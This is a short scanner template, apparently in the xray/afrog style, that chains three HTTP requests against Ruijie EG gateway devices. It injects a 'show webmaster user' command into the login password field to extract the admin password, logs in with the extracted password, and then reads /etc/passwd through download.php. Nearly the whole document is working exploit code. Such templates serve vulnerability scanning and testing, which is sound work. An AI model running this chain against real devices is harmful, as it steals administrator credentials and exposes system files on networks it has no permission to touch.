ruijie-eg-file-read: ruijie eg file read

id: ruijie-eg-file-read

info:
  name: ruijie eg file read
  author: abbin777
  severity: high
  verified: true
  description: |-
    ruijie eg file read
  tags: ruijie,file-read
  created: 2023/08/13

rules:
  r0:
    request:
      method: POST
      path: /login.php
      body: |
        username=admin&password=admin?show+webmaster+user
    expression: response.status == 200 && response.content_type.contains("text/json")
    output:
      search: '"{\"data\":\".*admin\\s?(?P<password>[^\\\\\"]*)".bsubmatch(response.body)'
      password: search["password"]
  r1:
    request:
      method: POST
      path: /login.php
      body: |
        username=admin&password={{password}}
    expression: response.status == 200 && response.content_type.contains("text/json") && response.headers["set-cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
  r2:
    request:
      method: POST
      path: /download.php?a=read_txt
      body: |
        file=/etc/passwd
    expression: response.status == 200 && response.body.bcontains(b"\"status\":true,") && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
expression: r0() && r1() && r2()